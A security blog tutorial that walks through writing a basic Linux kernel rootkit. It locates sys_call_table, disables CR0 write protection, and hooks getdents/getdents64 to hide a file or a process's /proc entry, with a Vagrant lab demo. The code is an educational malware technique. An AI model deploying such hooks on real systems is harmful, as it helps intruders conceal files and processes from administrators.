x86Sec

Linux Kernel Rootkit Basics
March 08, 2020

Rootkits are an advanced form of malware that leverage elevated privileges to hide themselves from the operating system. In this post we will go over how to write a basic rootkit that is capable of hiding files and processes on Linux.

Listing files in a directory



Let’s look at a simple C program that can list files in a directory.

#include <stdio.h>
#include <dirent.h>

int main() {
	DIR *d = opendir(".");
	struct dirent *dire;
	while ((dire = readdir(d)) != NULL) {
		printf("%s\n", dire->d_name);
	}
	closedir(d);
}

We can see that the readdir() function is called to get the files in a folder, however we’re interested in going as low-level as possible to see what we need to hook in the kernel to manipulate the listed files for all programs. A good way of doing this is to use the strace tool to log all of the syscalls a program invokes.

strace ./a.out

munmap(0x7fa11faa0000, 133984)          = 0
openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
fstat(3, {st_mode=S_IFDIR|S_ISVTX|0777, st_size=12288, ...}) = 0
brk(NULL)                               = 0x55ce40037000
brk(0x55ce40058000)                     = 0x55ce40058000
getdents(3, /* 28 entries */, 32768)    = 1376
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
write(1, ".\n", 2.)                      = 2
write(1, "..\n", 3..)                     = 3

Several syscalls are invoked by our program and right before we start seeing some recognized files printed out (“.”, “..”), getdents() is called. This is the syscall that is used to get directory entries on Linux and therefore is what we want to hook to hide files.

Hooking Syscalls



Syscall Table

In Linux, there is an array in the kernel that contains pointers to all of the syscalls.

asmlinkage const sys_call_ptr_t sys_call_table[__NR_syscall_max+1]

The index into this array corresponds to the syscall number which you can look up here. Because of this, it is quite easy to hook a syscall function as we simply need to replace the function pointer for that syscall number to point to a function we define.

// Pointer to sys_call_table in memory
static unsigned long *syscall_table = (unsigned long *)0xdeadbeef;
syscall_table[__NR_getdents] = hooked_getdents;

Modifying Syscall Table

Since the memory region of the kernel containing the sys_call_table pointer is marked read-only, we can’t modify it (even as ring 0) without first changing the permissions. To do this, we have to toggle the WP bit (bit 16) in the CR0 register.

write_cr0(read_cr0() & (~ 0x10000)); //Enable write access
write_cr0(read_cr0() | 0x10000); //Restore write protection

Getting The Address

Finally, we need to get the address of the sys_call_table array inside the kernel. There are numerous ways to do this, but we will use a simple one below.

The /proc/kallsyms file contains a mapping of kernel symbols to addresses and thankfully includes the sys_call_table symbol we are interested in. We can see that in our instance, it is located at 0xffffffff9fe00240.

Note: this will change across systems and even reboots as the kernel memory map is randomized for security reasons.

[email protected]:~$ sudo cat /proc/kallsyms  | grep sys_call_table
ffffffff9fe00240 R sys_call_table
ffffffff9fe01600 R ia32_sys_call_table

Another, and perhaps easier way, is to use the kallsyms_lookup_name() function which returns a pointer to the symbol passed as a parameter. We can find the address of sys_call_table with the following code:

unsigned long table = (unsigned long *) kallsyms_lookup_name("sys_call_table");

Putting it all together

Combining the steps above, in order to hook a syscall the steps will be roughly as follows:

  1. Get the address of the sys_call_table pointer
  2. Allow write access to kernel memory
  3. Hook syscall function
  4. Restore write protection to kernel memory

Hiding Files



As we saw above, the getdents() and getdents64() syscalls are used to get the the files in a directory, so we will want to hook these to hide files.

unsigned long table = (unsigned long *) kallsyms_lookup_name("sys_call_table"); //Lookup table entry point
write_cr0(read_cr0() & (~ 0x10000)); //Enable write access
original_getdents = (void*)table[__NR_getdents];
original_getdents64 = (void*)table[__NR_getdents64];

table[__NR_getdents] = (unsigned long) my_getdents; //Hook getdents with our function
table[__NR_getdents64] = (unsigned long) my_getdents64;
write_cr0(read_cr0() | 0x10000); //Restore write protection

Now we will define our own function that implements getdents() and hides the file secret.txt by removing it from the list of files.

asmlinkage int my_getdents(unsigned int fd, struct linux_dirent* dirp, 
	unsigned int count)
{
  int ret;
  struct linux_dirent* cur = dirp;
  int pos = 0;

  // Call original getdents
  ret = original_getdents(fd, dirp, count); 
  while (pos < ret) {

    if (is_prefix(cur->d_name, "secret.txt")) { // Insert your check here
      // Remove hidden file from list
      int reclen = cur->d_reclen;
      char* next_rec = (char*)cur + reclen;
      int len = (int)dirp + ret - (int)next_rec;
      memmove(cur, next_rec, len);
      ret -= reclen;
      continue;
    }
    pos += cur->d_reclen;
    cur = (struct linux_dirent*) ((char*)dirp + pos);
  }
  return ret;
}

Hiding Processes



On Linux, process information is stored in the /proc/{pid} folder and tools like ps read these entries to report on what processes are running. Since we already know how to hide files, all we need to do is hide the file that is the entry inside the /proc folder and it will not show up when ps is called!

The quickest way to do this is substitute the filename check from above with the PID:

if (is_prefix(cur->d_name, "5048")) { // Insert your PID here
      // Remove hidden file from list
      int reclen = cur->d_reclen;
      char* next_rec = (char*)cur + reclen;
      int len = (int)dirp + ret - (int)next_rec;
      memmove(cur, next_rec, len);
      ret -= reclen;
      continue;
}

However this might hide some other files unintentionally, so it might be wise to check the full path.

Demo



Try it yourself!

vagrant init gfoudree/rootkit-dev --box-version 1
vagrant up
vagrant ssh

Now build and install the kernel module:

make
sudo insmod file_hider.ko

You should now notice that secret.txt is missing from the files in the current directory. Remove the kernel module sudo rmmod file_hider and observe that it appears again.